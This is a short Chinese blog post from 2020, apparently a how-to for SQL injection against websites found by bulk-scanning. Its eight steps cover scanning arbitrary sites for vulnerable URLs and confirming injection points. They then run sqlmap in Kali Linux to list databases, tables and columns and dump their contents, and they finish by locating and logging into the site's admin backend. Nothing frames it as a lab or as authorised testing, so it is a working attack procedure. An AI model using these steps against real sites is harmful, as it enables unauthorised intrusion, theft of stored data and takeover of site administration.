一次利用工具的简单的SQL注入

    第一步:利用傀儡注入点批量扫描工具或者其它方式找出有漏洞的网站     



    第二步:将傀儡扫到的URL复制到文本文档,使用超级sql注入工具进行注入扫描操作,确认是否存在注入点的URL



    第三步:将有注入点的URL放入到KaliLinux中进行破解,先解析数据库,命令格式为sqlmap -u URL地址 --dbs



    第四部:在kaliLinux中继续破解表名,命令格式为:sqlmap -u URL地址 --tables -D 数据库名



    第五步:在kaliLinux中继续破解表中的字段名称,命令格式为:sqlmap -u URL地址 --columns -T 表名  -D 数据库名

    第六步:在kaliLinux中破解字段里面的内容,命令格式为:sqlmap -u URL地址 --dump -C 字段名 -T 表名 -D 数据库名

    第七部:利用后台扫描工具找到注入网站的后台



    第八步:登陆网站后台



  

posted @ 2020-06-09 12:02  石狮子  阅读(712)  评论(0)    收藏  举报